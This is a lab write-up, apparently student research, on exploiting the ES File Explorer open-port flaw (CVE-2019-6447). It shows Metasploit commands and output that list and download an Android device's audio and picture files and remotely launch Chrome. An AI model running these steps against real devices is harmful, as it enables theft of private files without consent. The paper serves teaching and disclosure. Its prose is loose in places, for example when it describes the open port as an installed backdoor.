

CVE 2019-6447 - ES File Manager Vulnerability

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INTRODUCTION

This research paper is about manual exploitation of android open port vulnerability found in ES file manager. This open TCP 59777 port allows the attacker to install a backdoor and gather all the user's data. Further in this paper there will be a proof of concept presented to consolidate the vulnerability.

Keywords: ES file manager, HTTP, Metasploitable framework,

ABOUT VULNERABILITY

ES file manager open port vulnerability is categorized in CVE 2019-6447 in CVE database with a base score of 8.1 which is categorized as a high risk. When the file manager app is installed into the system and launched what it does is it will start a local HTTP server on the port 59777. Until the system task is killed, or force stopped in the device the port remains open like a backdoor. When a hacker or a malicious actor able to get inside the network they might be able to do arbitrary file read as well as they can also be able to download those files with this vulnerability also allows the attacker to access the device remotely and launch any apps that he wishes. This vulnerability is found in the ES file managers in the version of 4.1.9.7.4 and below.

VIRTUAL ENVIRONMENT SETUP

- Our Attacking machine is going to be Kali Linux (Host Only adapter) on the VMware workstation
- Victim android device runs on Android 9 (Host only adapter) on the VMware workstation
- Affected ES file manager v4.1.9.7.4
- Both Android and Kali machine have been set in the same network.
- App has been started since the TCP port 59777 only opens and runs when the app is started and the server runs in background

In-order to exploit the ES folder vulnerability we need to search for the exploit. So we run the command “search es_file”

```
msf6 > search es_file

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/scanner/http/es_file_explorer_open_port  2019-01-16      normal  No     ES File Explorer Open P
ort
1  exploit/unix/webapp/joomla_media_upload_exec      2013-08-01      excellent  Yes    Joomla Media Manager Fi
le Upload Vulnerability

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/webapp/joomla_media_upload_e
xec
```

Figure 6: Search for exploit

After searching that we must select the file for that what we must do is we need to run the command “use 0”. After selecting the exploit, we can look at the options or setting of the exploit by running the command “show options”

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > show options

Module options (auxiliary/scanner/http/es_file_explorer_open_port):

Name      Current Setting  Required  Description
-      -
ACTIONITEM  no              no        If an app or filename if required by the action
Proxies    no              no        A proxy chain of format type:host:port[,type:host:port][... ]
RHOSTS     yes             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT      59777           yes       The target port (TCP)
SSL        false           no        Negotiate SSL/TLS for outgoing connections
THREADS    1               yes       The number of concurrent threads (max one per host)
VHOST      no              no        HTTP server virtual host
```

Figure 7: exploit options

In the RHOSTS option the android/ victim’s IP address need to be assigned for that, the “SET RHOSTS 192.168.40.128” should be run

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set RHOSTS 192.168.40.128
RHOSTS => 192.168.40.128
```

Figure 8: setting RHOSTS

After assigning the victims IP address to RHOSTS, look at the actions available by using the command “show actions”

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > show actions

Auxiliary actions:

Name      Description
-      -
APPLAUNCH Launch an app. ACTIONITEM required.
GETDEVICEINFO Get device info
GETFILE     Get a file from the device. ACTIONITEM required.
LISTAPPS   List all the apps installed
LISTAPPSALL List all the apps installed
LISTAPPSPHONE List all the phone apps installed
LISTAPPSSDCARD List all the apk files stored on the sdcard
LISTAPPSSYSTEM List all the system apps installed
LISTAUDIOIOS List all the audio files
LISTFILES   List all the files on the sdcard
LISTPICS    List all the pictures
LISTVIDEOS  List all the videos
```

Figure 9: Show actions

As the first default action the “GETDEVICEINFO” has been set with that default command the “run” command has been given



Figure 10: GETDEVICEINFO action has been set default

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run
[+] 192.168.40.128:59777 - Name: VMware Virtual Platform
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figure 11: GETDEVICEINFO results




Figure 12: POC to support fig.11

As next step “LISTAUDIOS” has been assigned and executed.

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set action LISTAUDIOS
action => LISTAUDIOS
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run
[+] 192.168.40.128:59777
    Wasted-MassTamilan.so.mp3 (2.87 MB) - 6/15/22 04:35:55 AM: /storage/emulated/0/Download/Wasted-MassTamilan.so.mp3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figure 13: LISTAUDIOS command

All the audios listed in the device has been revealed so as the next step, by using the command “GETFILE” the audio file is downloaded into the kali machine for that the “ACTIONITEM” has to be set with the audio file address.

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set action GETFILE
action => GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > show options
Module options (auxiliary/scanner/http/es_file_explorer_open_port):
  Name      Current Setting  Required  Description
  ACTIONITEM  /storage/emulated/0/Download/Wasted-MassTamilan.so.mp3  no        If an app or filename if required by the action
  Proxies     []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS      192.168.40.128  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      59777           yes       The target port (TCP)
  SSL         false           no        Negotiate SSL/TLS for outgoing connections
  THREADS     1              yes       The number of concurrent threads (max one per host)
  VHOST       []             no        HTTP server virtual host

Auxiliary action:
  Name      Description
  GETFILE   Get a file from the device. ACTIONITEM required.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/Download/Wasted-MassTamilan.so.mp3
ACTIONITEM => /storage/emulated/0/Download/Wasted-MassTamilan.so.mp3
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run
[+] 192.168.40.128:59777 - /storage/emulated/0/Download/Wasted-MassTamilan.so.mp3 saved to /home/kali/.msf4/loot/20220618134752_default_192.168.40.128_getFile_353123.mp3
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figure 14: GETFILE (AUDIO)

After the running the exploit there was an address came as a result which is a kali linux path. That path leads to the looted audio file.



Figure 15: PATH



Figure 16: The Looted Audio file from android

As the next exploit images in the devices has been listed using the command “LISTPICS”, and that command executed and revealed all the image file details in the phone to the attacker.

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set action LISTPICS
action => LISTPICS
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run

[+] 192.168.40.128:59777
crop.jpeg (8.27 KB) - 6/15/22 04:39:48 AM: /storage/emulated/0/Download/crop.jpeg
3445851.jpg (24.60 KB) - 6/15/22 04:42:20 AM: /storage/emulated/0/Download/3445851.jpg
smooth-white-wave-background_52683-55288.jpg (152.84 KB) - 6/15/22 04:44:49 AM: /storage/emulated/0/Download/smooth-white-wave-background_52683-55288.jpg
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figure 17: LISTPICS

In-order to loot the picture in the phone the same “GETFILE” command, “ACTIONITEM” has been set and executed.

Module options (auxiliary/scanner/http/es_file_explorer_open_port):			
Name	Current Setting	Required	Description
ACTIONITEM	/storage/emulated/0/Download/crop.jpeg	no	If an app or filename if required by the action
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.40.128	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	59777	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

Auxiliary action:

Figure 18: Exploit option for picture looting

As the result like in the previous audio file exploit a kali linux path appeared. After running that path in the kali linux it directly led to the looted picture.

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run

[+] 192.168.40.128:59777 - /storage/emulated/0/Download/crop.jpeg saved to /home/kali/.msf4/loot/20220618135039_defa
ult_192.168.40.128_getFile_259301.jpeg
[+] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Figure 19: Result of GETFILE (picture)




Figure 20: Path




Figure 21: Looted picture

As the final exploit, remote application launch is planned before that all the phone's applications are listed by using the command "LISTAPPPHONE"

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set action LISTAPPPHONE
action => LISTAPPPHONE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > run

[+] 192.168.40.128:59777
com.android.cts.priv.ctsshim (com.android.cts.priv.ctsshim) Version: 8.1.0-4396705
Corner display cutout (com.android.internal.display.cutout.emulation.corner) Version: 1.0
Android Services Library (com.google.android.ext.services) Version: 1
RSS Reader (com.example.android.rssreader) Version: 9
Double display cutout (com.android.internal.display.cutout.emulation.double) Version: 1.0
Mobile Network Configuration (com.android.providers.telephony) Version: 9
AnalyticsService (org.android.x86.analytics) Version: 9
Google App (com.google.android.googlequicksearchbox) Version: 7.2.26.21.x86
Calendar Storage (com.android.providers.calendar) Version: 9
Media Storage (com.android.providers.media) Version: 9
Google One Time Init (com.google.android.oneytimeinitializer) Version: 9
Android Shared Library (com.google.android.ext.shared) Version: 1
com.android.wallpapercropper (com.android.wallpapercropper) Version: 9
Calibration (org.zeroklab.util.tscat) Version: 9
Files (com.android.documentsui) Version: 9
External Storage (com.android.externalstorage) Version: 9
HTML Viewer (com.android.htmlviewer) Version: 9
Companion Device Manager (com.android.companiondevicemanager) Version: 9
MmsService (com.android.mms.service) Version: 9
Download Manager (com.android.providers.downloads) Version: 9
Package Access Helper (com.android.defcontainer) Version: 9
Downloads (com.android.providers.downloads.ui) Version: 9
Google Play Store (com.android.vending) Version: 22.4.25-21 [0] [PR] 337959405
PacProcessor (com.android.pacprocessor) Version: 9
Sim App Dialog (com.android.simappdialog) Version: 9
Tall display cutout (com.android.internal.display.cutout.emulation.tall) Version: 1.0
Certificate Installer (com.android.certinstaller) Version: 9
com.android.carrierconfig (com.android.carrierconfig) Version: 1.0.0
Android System (android) Version: 9
Contacts (com.android.contacts) Version: 1.7.31
Camera (com.android.camera2) Version: 2.0.002
Android Easter Egg (com.android.egg) Version: 1.0
Phone (com.android.dialer) Version: 19.0
Gallery (com.android.gallery3d) Version: 1.1.40030
Package Installer (com.google.android.packageinstaller) Version: 9
Google Play Services (com.google.android.gms) Version: 22.18.20 (100800-431404765)
Google Services Framework (com.google.android.gsf) Version: 9
Call Log Backup Restore (com.android.calllogbackup) Version: 9
Google Partner Setup (com.google.android.partnersetup) Version: 9
Simple message receiver (com.android.basicmsreceiver) Version: 9
CarrierDefaultApp (com.android.carrierdefaultapp) Version: 9
ProxyHandler (com.android.proxyhandler) Version: 9
Android Keyboard (AOSP) (com.android.inputmethod.latin) Version: 9
Music (org.linagoes.eleven) Version: 3.8
Market Feedback Agent (com.google.android.feedback) Version: 9
Print Service Recommendation Service (com.google.android.printservice.recommendation) Version: 1.1.0
Google Calendar Sync (com.google.android.syncadapters.calendar) Version: 5.2.3-99827503-release
Work profile setup (com.android.managedprovisioning) Version: 9
com.android.providers.partnerbookmarks (com.android.providers.partnerbookmarks) Version: 9
Google Account Manager (com.google.android.gsf.login) Version: 7.1.1-3515457
Live Wallpaper Picker (com.android.wallpaper.livpicker) Version: 9
Google Backup Transport (com.google.android.backuptransport) Version: 9
Storage Manager (com.android.storagemanager) Version: 9
Bookmark Provider (com.android.bookmarkprovider) Version: 9
Settings (com.android.settings) Version: 9
Taskbar (com.fazwob.taskbar.android) Version: 3.0.1
Calculator (com.android.calculator2) Version: 9
com.android.cts.ctsshim (com.android.cts.ctsshim) Version: 8.1.0-4396705
VpnDialogs (com.android.vpndialogs) Version: 9
Mobile Data (com.android.phone) Version: 9
Shell (com.android.shell) Version: 9
com.android.wallpaperbackup (com.android.wallpaperbackup) Version: 9
Blocked Numbers Storage (com.android.providers.blockednumber) Version: 9
User Dictionary (com.android.providers.userdictionary) Version: 9
Emergency Information (com.android.emergency) Version: 9
Fused Location (com.android.location.fused) Version: 9
Clock (com.android.deskclock) Version: 9
System UI (com.android.systemui) Version: 9
Bluetooth MIDI Service (com.android.bluetoothmidiservice) Version: 9
Terminal Emulator (com.termuxplus) Version: 2.1.1
System Tracing (com.android.tracer) Version: 1.0
com.google.android.gms.setup (com.google.android.gms.setup) Version: 650400.176854709.176854709
Dev Tools (com.android.development) Version: 1.0
com.android.wallpaperpicker (com.android.wallpaperpicker) Version: 1.0
Contacts Storage (com.android.providers.contacts) Version: 9
CaptivePortalLogin (com.android.captiveportallogin) Version: 9
Android Setup (com.google.android.apps.restore) Version: 1.0.232742792
```

Figure 22: APPS lists

After listing all the phone application, it is decided to open the google chrome remotely, in-order to do that as the action “APPLAUNCH” is set and as the “ACTIONITEM” the chrome is set.

```
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set action APPLAUNCH
action => APPLAUNCH
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM com.android.chrome
ACTIONITEM => com.android.chrome
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > show options

Module options (auxiliary/scanner/http/es_file_explorer_open_port):
```

Name	Current Setting	Required	Description
ACTIONITEM	com.android.chrome	no	If an app or filename if required by the action
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.40.128	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	59777	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads (max one per host)
VHOST		no	HTTP server virtual host

```
Auxiliary action:
```

Name	Description
APPLAUNCH	Launch an app. ACTIONITEM required.

Figure 23: REMOTE APPLAUNCH OPTIONS




Figure 24: Result of APPLAUNCH

In the above figure 24, after running the “run” command, in the kali terminal it says “com.android.chrome launched successfully” as the result the chrome browser in the android has been successfully launched remotely without any interference or authentication of the android user.

RESULTS AND DISCUSSION

Due to the open port 59777 vulnerability found in the ES file manager, it became easier to install a backdoor and execute attack against the android system. This backdoor helps the attacker to take every information and data available in the system without any knowledge of the user. Even worse this vulnerability allows the attacker to list all the applications that are available in the mobile and also it allowed to launch them without any approval or any permission from user remotely. This can lead to many attacks. If an attacker is successfully get any of his malicious apk into the system, the attacker will able to execute it remotely with the help of this backdoor which in future will result in serious loss of data and so on. Due to this backdoor the attacker also able to access all the audios, videos, documents, images etc due to this privacy issues may occur.

CONCLUSION

With the vast development of the technology, it is clear that the cyber threats in the industry are also day to day developing just like that. Cyber threats can't be eradicated but they can be avoided by using the common intelligence.

Attacks like Backdoor leads to a serious data leakage and a ransom threat. Backdoors are hidden and they are harder to find, the harder they are to find, the more danger they are. These backdoors attacks are mostly done again the system by the attackers due the human error or due to the outdated components in the system. Having vulnerabilities like weak password, open unnoticed ports, being naïve are some vulnerabilities that has been exploited to install the backdoor.

By having a proper security practices the backdoors attacks against the system can be protected. Using anti-virus software, using advanced firewall, password manager, staying up to date with the security news are some of the ways.

As per the Saying "PREVENTION IS BETTER THAN THE CURE"

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AUTHOR PROFILE



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